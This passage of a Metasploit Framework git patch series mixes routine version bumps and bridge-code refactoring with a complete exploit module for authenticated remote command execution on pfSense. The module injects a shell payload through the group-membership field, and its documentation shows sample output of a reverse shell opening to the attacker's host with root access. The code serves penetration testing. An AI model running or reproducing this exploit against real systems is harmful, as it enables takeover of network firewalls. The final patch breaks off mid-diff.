     print_status "Moving ntds.dit to #{target_path}"
     move_file(sc_path, target_path)
     target_path

From 4219959c6dad3f2caebfd5a89857d3388d1b6521 Mon Sep 17 00:00:00 2001
From: Adam Cammack <adam_cammack@rapid7.com>
Date: Wed, 15 Nov 2017 15:00:47 -0600
Subject: [PATCH 147/254] Bump ranking to Excellent

---
 modules/exploits/multi/http/makoserver_cmd_exec.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/multi/http/makoserver_cmd_exec.rb b/modules/exploits/multi/http/makoserver_cmd_exec.rb
index 01747159fb..9355b7b48c 100644
--- a/modules/exploits/multi/http/makoserver_cmd_exec.rb
+++ b/modules/exploits/multi/http/makoserver_cmd_exec.rb
@@ -4,7 +4,7 @@
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-  Rank = GoodRanking
+  Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
 

From f8891952c6e3878ddd6789a2dfc97ee52f97df41 Mon Sep 17 00:00:00 2001
From: h00die <michaeltcyr@gmail.com>
Date: Wed, 15 Nov 2017 21:00:58 -0500
Subject: [PATCH 148/254] pfsense group member exec module

---
 .../unix/http/pfsense_group_member_exec.md    |  52 ++++++
 .../unix/http/pfsense_group_member_exec.rb    | 152 ++++++++++++++++++
 2 files changed, 204 insertions(+)
 create mode 100644 documentation/modules/exploit/unix/http/pfsense_group_member_exec.md
 create mode 100644 modules/exploits/unix/http/pfsense_group_member_exec.rb

diff --git a/documentation/modules/exploit/unix/http/pfsense_group_member_exec.md b/documentation/modules/exploit/unix/http/pfsense_group_member_exec.md
new file mode 100644
index 0000000000..1fa20f90c3
--- /dev/null
+++ b/documentation/modules/exploit/unix/http/pfsense_group_member_exec.md
@@ -0,0 +1,52 @@
+## Description
+
+  This module exploits a vulnerability in pfSense version 2.3 and before which allows an authenticated user to execute arbitrary operating system commands 
+  as root.
+
+  This module has been tested successfully on version 2.3 RELEASE.
+
+
+## Vulnerable Application
+
+  This module has been tested successfully on version CE 2.3 amd64.
+
+  Installer:
+
+  * [pfSense CE 2.3](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-CE-2.3-RELEASE-amd64.iso.gz)
+
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Do: `use exploit/unix/http/pfsense_group_member_exec`
+  3. Do: `set rhost [IP]`
+  4. Do: `set username [username]`
+  5. Do: `set password [password]`
+  6. Do: `exploit`
+  7. You should get a session
+
+
+## Sample Output
+
+```
+[*] Processing pfsense.rc for ERB directives.
+resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
+resource (pfsense.rc)> set rhost 192.168.2.15
+rhost => 192.168.2.15
+resource (pfsense.rc)> set verbose true
+verbose => true
+resource (pfsense.rc)> check
+[*] 192.168.2.15:443 The target service is running, but could not be validated.
+resource (pfsense.rc)> exploit
+[*] Started reverse TCP handler on 192.168.2.147:4444 
+[*] CSRF Token for login: sid:e03842f251d3dacb9df81c00a328431580c8fed5,1510715698;ip:ca2fedb3100f0d4d998c9a6a4bb14a624ff904ec,1510715698
+[*] Successful Authentication
+[+] Login Successful
+[*] CSRF Token for group creation: sid:c8b3595aa9e5479086e5ea24f12f737f84dc39a7,1510715698
+[*] Command shell session 1 opened (192.168.2.147:4444 -> 192.168.2.15:65499) at 2017-11-14 22:14:58 -0500
+
+whoami
+root
+uname -a
+FreeBSD . 10.3-RELEASE FreeBSD 10.3-RELEASE #6 05adf0a(RELENG_2_3_0): Mon Apr 11 18:52:07 CDT 2016     root@ce23-amd64-builder:/builder/pfsense-230/tmp/obj/builder/pfsense-230/tmp/FreeBSD-src/sys/pfSense  amd64
+```
diff --git a/modules/exploits/unix/http/pfsense_group_member_exec.rb b/modules/exploits/unix/http/pfsense_group_member_exec.rb
new file mode 100644
index 0000000000..d9eef4e77a
--- /dev/null
+++ b/modules/exploits/unix/http/pfsense_group_member_exec.rb
@@ -0,0 +1,152 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'        => 'pfSense authenticated group member RCE',
+        'Description' => %q(
+          pfSense, a free BSD based open source firewall distribution,
+          version <= 2.3.1_1 contains a remote command execution
+          vulnerability post authentication in the system_groupmanager.php page.
+        ),
+        'Author'      =>
+          [
+            's4squatch', # discovery
+            'h00die'     # module
+          ],
+        'References'  =>
+          [
+            [ 'EDB', '43128' ],
+            [ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']
+          ],
+        'License'        => MSF_LICENSE,
+        'Platform'       => 'unix',
+        'Privileged'     => false,
+        'DefaultOptions' => { 'SSL' => true },
+        'Arch'           => [ ARCH_CMD ],
+        'Payload'        =>
+          {
+            'Compat' =>
+              {
+                'PayloadType' => 'cmd',
+                'RequiredCmd' => 'perl awk openssl'
+              }
+          },
+        'Targets'        =>
+          [
+            [ 'Automatic Target', {}]
+          ],
+        'DefaultTarget' => 0,
+        'DisclosureDate' => 'Nov 06 2017'
+      )
+    )
+
+    register_options(
+      [
+        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
+        OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),
+        Opt::RPORT(443)
+      ], self.class
+    )
+  end
+
+  def login
+    res = send_request_cgi(
+      'uri' => '/index.php',
+      'method' => 'GET',
+      )
+    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
+    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
+
+    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
+    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
+    vprint_status("CSRF Token for login: #{csrf}")
+
+    res = send_request_cgi(
+      'uri' => '/index.php',
+      'method' => 'POST',
+      'vars_post' => {
+        '__csrf_magic' => csrf,
+        'usernamefld'  => datastore['USERNAME'],
+        'passwordfld'  => datastore['PASSWORD'],
+        'login'        => ''
+      }
+    )
+    unless res
+      fail_with(Failure::UnexpectedReply, '#{peer} - Did not respond to authentication request')
+    end
+    if res.code == 302
+      vprint_status('Successful Authentication')
+      return res.get_cookies
+    else
+      fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
+      return nil
+    end
+  end
+
+  def check
+    begin
+      res = send_request_cgi(
+        'uri'       => '/index.php',
+        'method'    => 'GET'
+      )
+      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
+      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
+      if /Login to pfSense/ =~ res.body
+        Exploit::CheckCode::Detected
+      else
+        Exploit::CheckCode::Safe
+      end
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
+    end
+  end
+
+  def exploit
+    begin
+      cookie = login
+      vprint_good('Login Successful')
+      res = send_request_cgi(
+        'uri'    => '/system_groupmanager.php',
+        'method' => 'GET',
+        'cookie' => cookie,
+        'vars_get' => {
+          'act' => 'new'
+        }
+      )
+
+      /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
+      fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
+      vprint_status("CSRF Token for group creation: #{csrf}")
+
+      res = send_request_cgi(
+        'uri'           => '/system_groupmanager.php',
+        'method'        => 'POST',
+        'cookie'        => cookie,
+        'vars_post'     => {
+          '__csrf_magic' => csrf,
+          'groupname' => rand_text_alpha(10),
+          'gtype' => 'local',
+          'description' => '',
+          'members[]' => "0';#{payload.encoded};'",
+          'groupid' => '',
+          'save' => 'Save',
+        },
+        'vars_get' => {
+          'act' => 'edit'
+        }
+      )
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
+    end
+  end
+end

From 5cdd3645909953b6d49197f18719c6d17544da51 Mon Sep 17 00:00:00 2001
From: Metasploit <metasploit@rapid7.com>
Date: Wed, 15 Nov 2017 19:46:12 -0800
Subject: [PATCH 149/254] Bump version of framework to 4.16.18

---
 Gemfile.lock                        | 12 ++++++------
 lib/metasploit/framework/version.rb |  2 +-
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 88aeb51995..c02419df8f 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (4.16.17)
+    metasploit-framework (4.16.18)
       actionpack (~> 4.2.6)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
@@ -112,7 +112,7 @@ GEM
     builder (3.2.3)
     coderay (1.1.2)
     concurrent-ruby (1.0.5)
-    crass (1.0.2)
+    crass (1.0.3)
     diff-lcs (1.3)
     dnsruby (1.60.2)
     docile (1.1.5)
@@ -127,10 +127,10 @@ GEM
     ffi (1.9.18)
     filesize (0.1.1)
     fivemat (1.3.5)
-    google-protobuf (3.4.1.1)
+    google-protobuf (3.5.0)
     googleapis-common-protos-types (1.0.1)
       google-protobuf (~> 3.0)
-    googleauth (0.6.1)
+    googleauth (0.6.2)
       faraday (~> 0.12)
       jwt (>= 1.4, < 3.0)
       logging (~> 2.0)
@@ -223,7 +223,7 @@ GEM
       activerecord (>= 4.0.0)
       arel (>= 4.0.1)
       pg_array_parser (~> 0.0.9)
-    pry (0.11.2)
+    pry (0.11.3)
       coderay (~> 1.1.0)
       method_source (~> 0.9.0)
     public_suffix (3.0.1)
@@ -243,7 +243,7 @@ GEM
       activesupport (= 4.2.10)
       rake (>= 0.8.7)
       thor (>= 0.18.1, < 2.0)
-    rake (12.2.1)
+    rake (12.3.0)
     rb-readline (0.5.5)
     rbnacl (4.0.2)
       ffi
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index 907460b0af..b0bd2b0f9f 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -30,7 +30,7 @@ module Metasploit
         end
       end
 
-      VERSION = "4.16.17"
+      VERSION = "4.16.18"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From 602406a4238f0df7046ab1e79dcf11d9a5712cae Mon Sep 17 00:00:00 2001
From: Metasploit <metasploit@rapid7.com>
Date: Fri, 17 Nov 2017 10:02:22 -0800
Subject: [PATCH 150/254] Bump version of framework to 4.16.19

---
 Gemfile.lock                        | 2 +-
 lib/metasploit/framework/version.rb | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index c02419df8f..c20a197a6d 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (4.16.18)
+    metasploit-framework (4.16.19)
       actionpack (~> 4.2.6)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index b0bd2b0f9f..cfde864472 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -30,7 +30,7 @@ module Metasploit
         end
       end
 
-      VERSION = "4.16.18"
+      VERSION = "4.16.19"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From b7f7afb3be1764769e093b78feb4b9963b615175 Mon Sep 17 00:00:00 2001
From: h00die <michaeltcyr@gmail.com>
Date: Sun, 19 Nov 2017 08:28:07 -0500
Subject: [PATCH 151/254] version detect, 2.2.6 handling

---
 .../unix/http/pfsense_group_member_exec.md    | 80 ++++++++++++++++---
 .../unix/http/pfsense_group_member_exec.rb    | 58 +++++++++++---
 2 files changed, 118 insertions(+), 20 deletions(-)

diff --git a/documentation/modules/exploit/unix/http/pfsense_group_member_exec.md b/documentation/modules/exploit/unix/http/pfsense_group_member_exec.md
index 1fa20f90c3..9f8d0343f8 100644
--- a/documentation/modules/exploit/unix/http/pfsense_group_member_exec.md
+++ b/documentation/modules/exploit/unix/http/pfsense_group_member_exec.md
@@ -3,12 +3,12 @@
   This module exploits a vulnerability in pfSense version 2.3 and before which allows an authenticated user to execute arbitrary operating system commands 
   as root.
 
-  This module has been tested successfully on version 2.3 RELEASE.
+  This module has been tested successfully on version 2.3-RELEASE, and 2.2.6.
 
 
 ## Vulnerable Application
 
-  This module has been tested successfully on version CE 2.3 amd64.
+  This module has been tested successfully on version CE 2.3 amd64, and 2.2.6 amd64.
 
   Installer:
 
@@ -28,25 +28,87 @@
 
 ## Sample Output
 
+### 2.3-Release amd64
+
 ```
 [*] Processing pfsense.rc for ERB directives.
 resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
-resource (pfsense.rc)> set rhost 192.168.2.15
-rhost => 192.168.2.15
+resource (pfsense.rc)> set rhost 2.2.2.2
+rhost => 2.2.2.2
 resource (pfsense.rc)> set verbose true
 verbose => true
+resource (pfsense.rc)> set lhost 1.1.1.1
+lhost => 1.1.1.1
 resource (pfsense.rc)> check
-[*] 192.168.2.15:443 The target service is running, but could not be validated.
+[*] 2.2.2.2:443 The target service is running, but could not be validated.
 resource (pfsense.rc)> exploit
-[*] Started reverse TCP handler on 192.168.2.147:4444 
-[*] CSRF Token for login: sid:e03842f251d3dacb9df81c00a328431580c8fed5,1510715698;ip:ca2fedb3100f0d4d998c9a6a4bb14a624ff904ec,1510715698
+[*] Started reverse double SSL handler on 1.1.1.1:4444 
+[*] CSRF Token for login: sid:a11be2ee5849522898e2c1ff23739b35c76435bf,1510545358;ip:d70924f708189287bdee1e08d7fa83758a0e1f68,1510545358
 [*] Successful Authentication
+[*] pfSense Version Detected: 2.3-RELEASE
 [+] Login Successful
-[*] CSRF Token for group creation: sid:c8b3595aa9e5479086e5ea24f12f737f84dc39a7,1510715698
-[*] Command shell session 1 opened (192.168.2.147:4444 -> 192.168.2.15:65499) at 2017-11-14 22:14:58 -0500
+[*] CSRF Token for group creation: sid:823a6f854ad1bae307c2959e95ccc98a8d72f2c1,1510545361
+[*] Manual removal of group aJPEfJLDKT is required.
+[*] Accepted the first client connection...
+[*] Accepted the second client connection...
+[*] Command: echo 5ER6rqZOjOSGjRml;
+[*] Writing to socket A
+[*] Writing to socket B
+[*] Reading from sockets...
+[*] Reading from socket A
+[*] A: "5ER6rqZOjOSGjRml\n"
+[*] Matching...
+[*] B is input...
+[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:25824) at 2017-11-19 08:15:00 -0500
 
 whoami
 root
 uname -a
 FreeBSD . 10.3-RELEASE FreeBSD 10.3-RELEASE #6 05adf0a(RELENG_2_3_0): Mon Apr 11 18:52:07 CDT 2016     root@ce23-amd64-builder:/builder/pfsense-230/tmp/obj/builder/pfsense-230/tmp/FreeBSD-src/sys/pfSense  amd64
 ```
+### 2.2.6 amd64
+
+```
+[*] Processing pfsense.rc for ERB directives.
+resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
+resource (pfsense.rc)> set rhost 3.3.3.3
+rhost => 3.3.3.3
+resource (pfsense.rc)> set verbose true
+verbose => true
+resource (pfsense.rc)> set lhost 1.1.1.1
+lhost => 1.1.1.1
+resource (pfsense.rc)> check
+[*] 3.3.3.3:443 The target is not exploitable.
+resource (pfsense.rc)> exploit
+[*] Started reverse double SSL handler on 1.1.1.1:4444 
+[*] CSRF Token for login: sid:bb80526160efcf79d8660d1a31f6bf88e154b38e,1511091712;ip:42d05b73fc9b2d31c54333a60fd308dfbd4da97a,1511091712
+[*] Successful Authentication
+[*] pfSense Version Detected: 2.2.6-RELEASE
+[+] Login Successful
+[*] CSRF Token for group creation: sid:d49a6dc5b7e98c92a7772c605af3586a1f3adc75,1511091715
+[*] Manual removal of group okUPTvzysL is required.
+[*] Accepted the first client connection...
+[*] Accepted the second client connection...
+[*] Command: echo 7hKg6oD9DkwXYRtt;
+[*] Writing to socket A
+[*] Writing to socket B
+[*] Reading from sockets...
+[*] Reading from socket B
+[*] B: "7hKg6oD9DkwXYRtt\n"
+[*] Matching...
+[*] A is input...
+[*] Command shell session 1 opened (1.1.1.1:4444 -> 3.3.3.3:34403) at 2017-11-19 06:42:00 -0500
+
+whoami
+root
+uname -a
+FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015     root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10  amd64
+```
+
+## Cleanup
+
+Manual cleanup is required. The group name is printed during exploitation.
+
+## Logging
+
+Logging into the web interface writes a line to the system out on the console similar to: `pfSense php-fpm[72834]: /index.php: Succeessful login for user 'admin' from [ip]`
diff --git a/modules/exploits/unix/http/pfsense_group_member_exec.rb b/modules/exploits/unix/http/pfsense_group_member_exec.rb
index d9eef4e77a..448f9e35d2 100644
--- a/modules/exploits/unix/http/pfsense_group_member_exec.rb
+++ b/modules/exploits/unix/http/pfsense_group_member_exec.rb
@@ -31,14 +31,18 @@ class MetasploitModule < Msf::Exploit::Remote
         'License'        => MSF_LICENSE,
         'Platform'       => 'unix',
         'Privileged'     => false,
-        'DefaultOptions' => { 'SSL' => true },
+        'DefaultOptions' =>
+          {
+            'SSL' => true,
+            'PAYLOAD' => 'cmd/unix/reverse_openssl'
+          },
         'Arch'           => [ ARCH_CMD ],
         'Payload'        =>
           {
             'Compat' =>
               {
                 'PayloadType' => 'cmd',
-                'RequiredCmd' => 'perl awk openssl'
+                'RequiredCmd' => 'perl openssl'
               }
           },
         'Targets'        =>
@@ -93,6 +97,26 @@ class MetasploitModule < Msf::Exploit::Remote
     end
   end
 
+  def detect_version(cookie)
+    res = send_request_cgi(
+      'uri' => '/index.php',
+      'method' => 'GET',
+      'cookie' => cookie
+    )
+    unless res
+      fail_with(Failure::UnexpectedReply, '#{peer} - Did not respond to authentication request')
+    end
+    /Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
+    if version
+      print_status("pfSense Version Detected: #{version}")
+      return Gem::Version.new(version)
+    end
+    # If the device isn't fully setup, you get stuck at redirects to wizar.php
+    # however, this does NOT stop exploitation strangely
+    print_error("pfSens Version Not Detected or wizard still enabled.")
+    Gem::Version.new('0.0')
+  end
+
   def check
     begin
       res = send_request_cgi(
@@ -114,6 +138,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
     begin
       cookie = login
+      version = detect_version(cookie)
       vprint_good('Login Successful')
       res = send_request_cgi(
         'uri'    => '/system_groupmanager.php',
@@ -128,23 +153,34 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
       vprint_status("CSRF Token for group creation: #{csrf}")
 
+      group_name = rand_text_alpha(10)
+      post_vars = {
+          '__csrf_magic' => csrf,
+          'groupname' => group_name,
+          'description' => '',
+          'members[]' => "0';#{payload.encoded};'",
+          'groupid' => '',
+          'save' => 'Save'
+      }
+      if version >= Gem::Version.new('2.3')
+        post_vars.merge({'gtype' => 'local'})
+      elsif version <= Gem::Version.new('2.3') #catch for 2.2.6. left this elsif for easy expansion to other versions as needed
+        post_vars.merge({
+          'act' => '',
+          'gtype' => '',
+          'privid' => ''
+        })
+      end
       res = send_request_cgi(
         'uri'           => '/system_groupmanager.php',
         'method'        => 'POST',
         'cookie'        => cookie,
-        'vars_post'     => {
-          '__csrf_magic' => csrf,
-          'groupname' => rand_text_alpha(10),
-          'gtype' => 'local',
-          'description' => '',
-          'members[]' => "0';#{payload.encoded};'",
-          'groupid' => '',
-          'save' => 'Save',
-        },
+        'vars_post'     => post_vars,
         'vars_get' => {
           'act' => 'edit'
         }
       )
+      print_status("Manual removal of group #{group_name} is required.")
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
     end

From 579d012fa2dca95c3d118ef282890469b05769f3 Mon Sep 17 00:00:00 2001
From: h00die <michaeltcyr@gmail.com>
Date: Sun, 19 Nov 2017 08:36:27 -0500
Subject: [PATCH 152/254] spelling

---
 modules/exploits/unix/http/pfsense_group_member_exec.rb | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/modules/exploits/unix/http/pfsense_group_member_exec.rb b/modules/exploits/unix/http/pfsense_group_member_exec.rb
index 448f9e35d2..9a4c10df5c 100644
--- a/modules/exploits/unix/http/pfsense_group_member_exec.rb
+++ b/modules/exploits/unix/http/pfsense_group_member_exec.rb
@@ -17,6 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
           pfSense, a free BSD based open source firewall distribution,
           version <= 2.3.1_1 contains a remote command execution
           vulnerability post authentication in the system_groupmanager.php page.
+          Verified against 2.2.6 and 2.3.
         ),
         'Author'      =>
           [
@@ -111,7 +112,7 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("pfSense Version Detected: #{version}")
       return Gem::Version.new(version)
     end
-    # If the device isn't fully setup, you get stuck at redirects to wizar.php
+    # If the device isn't fully setup, you get stuck at redirects to wizard.php
     # however, this does NOT stop exploitation strangely
     print_error("pfSens Version Not Detected or wizard still enabled.")
     Gem::Version.new('0.0')

From 90d6165e68d251c92012563e88a75b25a63ac8ec Mon Sep 17 00:00:00 2001
From: Martin Pizala <m.pizala@pizala.de>
Date: Sun, 19 Nov 2017 22:10:39 +0100
Subject: [PATCH 153/254] bypass user namespaces docs

---
 documentation/modules/exploit/linux/http/docker_daemon_tcp.md | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/documentation/modules/exploit/linux/http/docker_daemon_tcp.md b/documentation/modules/exploit/linux/http/docker_daemon_tcp.md
index a76ab1ea28..6e59fc82aa 100644
--- a/documentation/modules/exploit/linux/http/docker_daemon_tcp.md
+++ b/documentation/modules/exploit/linux/http/docker_daemon_tcp.md
@@ -67,6 +67,8 @@ OK
 
 [Disable][5] or [protect][6] the Docker tcp socket.
 
+[User namespaces][7] did **not** protect against this.
+
 # Exploitation
 This module is designed for the attacker to leverage, creation of a
 Docker container with out authentication through the Docker tcp socket
@@ -128,3 +130,4 @@ meterpreter >
 [4]:https://docs.docker.com/engine/admin/systemd/
 [5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
 [6]:https://docs.docker.com/engine/security/https/
+[7]:https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container

From dd57138423f3292d40bffd43a0daad92412c67d1 Mon Sep 17 00:00:00 2001
From: Adam Cammack <adam_cammack@rapid7.com>
Date: Mon, 20 Nov 2017 16:52:05 -0600
Subject: [PATCH 154/254] Make external module read loop more robust

Changes from a "hope we get at most one message at a time" model to
something beginning to resemble a state machine. Also logs error output
and fails the MSF module when the external module fails.
---
 lib/msf/core/module/external.rb         | 27 +++++-----
 lib/msf/core/modules/external/bridge.rb | 66 +++++++++++++++++--------
 modules/exploits/linux/smtp/haraka.py   |  1 +
 3 files changed, 62 insertions(+), 32 deletions(-)

diff --git a/lib/msf/core/module/external.rb b/lib/msf/core/module/external.rb
index ed9705a942..5a6c1bf29d 100644
--- a/lib/msf/core/module/external.rb
+++ b/lib/msf/core/module/external.rb
@@ -2,19 +2,24 @@ include Msf::Auxiliary::Report
 
 module Msf::Module::External
   def wait_status(mod)
-    while mod.running
-      m = mod.get_status
-      if m
-        case m.method
-        when :message
-          log_output(m)
-        when :report
-          process_report(m)
-        when :reply
-          # we're done
-          break
+    begin
+      while mod.running
+        m = mod.get_status
+        if m
+          case m.method
+          when :message
+            log_output(m)
+          when :report
+            process_report(m)
+          when :reply
+            # we're done
+            break
+          end
         end
       end
+    rescue Exception => e #Msf::Modules::External::Bridge::Error => e
+      elog e.backtrace.join("\n")
+      fail_with Failure::UNKNOWN, e.message
     end
   end
 
diff --git a/lib/msf/core/modules/external/bridge.rb b/lib/msf/core/modules/external/bridge.rb
index 5ffcc6b0a2..c150ae258e 100644
--- a/lib/msf/core/modules/external/bridge.rb
+++ b/lib/msf/core/modules/external/bridge.rb
@@ -43,12 +43,13 @@ class Msf::Modules::External::Bridge
     self.path = module_path
     self.cmd = [self.path, self.path]
     self.messages = Queue.new
+    self.buf = ''
   end
 
   protected
 
   attr_writer :path, :running
-  attr_accessor :cmd, :env, :ios, :messages
+  attr_accessor :cmd, :env, :ios, :buf, :messages, :wait_thread
 
   def describe
     resp = send_receive(Msf::Modules::External::Message.new(:describe))
@@ -64,8 +65,9 @@ class Msf::Modules::External::Bridge
   end
 
   def send(message)
-    input, output, status = ::Open3.popen3(self.env, self.cmd)
-    self.ios = [input, output, status]
+    input, output, err, status = ::Open3.popen3(self.env, self.cmd)
+    self.ios = [input, output, err]
+    self.wait_thread = status
     # We would call Rex::Threadsafe directly, but that would require rex for standalone use
     case select(nil, [input], nil, 0.1)
     when nil
@@ -91,33 +93,55 @@ class Msf::Modules::External::Bridge
   end
 
   def recv(filter_id=nil, timeout=600)
-    _, fd, _ = self.ios
+    _, out, err = self.ios
+    message = ''
 
     # Multiple messages can come over the wire all at once, and since yajl
     # doesn't play nice with windows, we have to emulate a state machine to
     # read just enough off the wire to get one request at a time. Since
     # Windows cannot do a nonblocking read on a pipe, we are forced to do a
-    # whole lot of `select` syscalls :(
-    buf = ""
+    # whole lot of `select` syscalls and keep a buffer ourselves :(
     begin
       loop do
+        # This is so we don't end up calling JSON.parse on every char and
+        # catch an exception. Windows can't do nonblock on pipes, so we
+        # still have to do the select if we are not at the end of object
+        # and don't have any buffer left
+        parts = self.buf.split '}', 2
+        if parts.length == 2 # [part, rest]
+          message << parts[0] << '}'
+          self.buf = parts[1]
+          break
+        elsif parts.length == 1 # [part]
+          if self.buf[-1] == '}'
+            message << parts[0] << '}'
+            self.buf = ''
+            break
+          else
+            message << parts[0]
+            self.buf = ''
+          end
+        end
+
         # We would call Rex::Threadsafe directly, but that would require Rex for standalone use
-        case select([fd], nil, nil, timeout)
-        when nil
+        res = select([out, err], nil, nil, timeout)
+        if res == nil
           # This is what we would have gotten without Rex and what `readpartial` can also raise
           raise EOFError.new
-        when [[fd], [], []]
-          c = fd.readpartial(1)
-          buf << c
-
-          # This is so we don't end up calling JSON.parse on every char and
-          # having to catch an exception. Windows can't do nonblock on pipes,
-          # so we still have to do the select each time.
-          break if c == '}'
+        else
+          fds = res[0]
+          # Preferentially drain and log stderr
+          if fds.include? err
+            errbuf = err.readpartial(4096)
+            elog "Unexpected output running #{self.path}:\n#{errbuf}"
+          end
+          if fds.include? out
+            self.buf << out.readpartial(4096)
+          end
         end
       end
 
-      m = Msf::Modules::External::Message.from_module(JSON.parse(buf))
+      m = Msf::Modules::External::Message.from_module(JSON.parse(message))
       if filter_id && m.id != filter_id
         # We are filtering for a response to a particular message, but we got
         # something else, store the message and try again
@@ -128,16 +152,16 @@ class Msf::Modules::External::Bridge
         m
       end
     rescue JSON::ParserError
-      # Probably an incomplete response, but no way to really tell
+      # Probably an incomplete response, but no way to really tell. Keep trying
+      # until EOF
       retry
     rescue EOFError => e
-      {}
+      nil
     end
   end
 
   def close_ios
-    input, output, status = self.ios
-    [input, output].each {|fd| fd.close rescue nil} # Yeah, yeah. I know.
+    self.ios.each {|fd| fd.close rescue nil} # Yeah, yeah. I know.
   end
 end
 
diff --git a/modules/exploits/linux/smtp/haraka.py b/modules/exploits/linux/smtp/haraka.py
index 7033d90ef2..59dff0bb03 100755
--- a/modules/exploits/linux/smtp/haraka.py
+++ b/modules/exploits/linux/smtp/haraka.py
@@ -72,6 +72,7 @@ def send_mail(to, mailserver, cmd, mfrom, port):
     except smtplib.SMTPDataError as err:
       if err[0] == 450:
         module.log("Triggered bug in target server (%s)"%err[1], 'good')
+        s.close()
         return(True)
     module.log("Bug not triggered in target server", 'error')
     module.log("it may not be vulnerable or have the attachment plugin activated", 'error')

From 2fdc34c8fd24aedb3d87d4b209abd963f9f63648 Mon Sep 17 00:00:00 2001
From: Adam Cammack <adam_cammack@rapid7.com>
Date: Mon, 20 Nov 2017 17:19:14 -0600
Subject: [PATCH 155/254] Add new template for DoS modules

---
 lib/msf/core/modules/external/shim.rb         | 10 +++++++
 .../core/modules/external/templates/dos.erb   | 29 +++++++++++++++++++
 2 files changed, 39 insertions(+)
 create mode 100644 lib/msf/core/modules/external/templates/dos.erb

diff --git a/lib/msf/core/modules/external/shim.rb b/lib/msf/core/modules/external/shim.rb
index 903f659799..284558eeb5 100644
--- a/lib/msf/core/modules/external/shim.rb
+++ b/lib/msf/core/modules/external/shim.rb
@@ -11,6 +11,8 @@ class Msf::Modules::External::Shim
       remote_exploit_cmd_stager(mod)
     when 'capture_server'
       capture_server(mod)
+    when 'dos'
+      dos(mod)
     else
       # TODO have a nice load error show up in the logs
       ''
@@ -66,4 +68,12 @@ class Msf::Modules::External::Shim
     meta = mod_meta_common(mod)
     render_template('capture_server.erb', meta)
   end
+
+  def self.dos(mod)
+    meta = mod_meta_common(mod)
+    meta[:date] = mod.meta['date'].dump
+    meta[:references] = mod.meta['references'].map do |r|
+      "[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
+    render_template('dos.erb', meta)
+  end
 end
diff --git a/lib/msf/core/modules/external/templates/dos.erb b/lib/msf/core/modules/external/templates/dos.erb
new file mode 100644
index 0000000000..cbf7c571ea
--- /dev/null
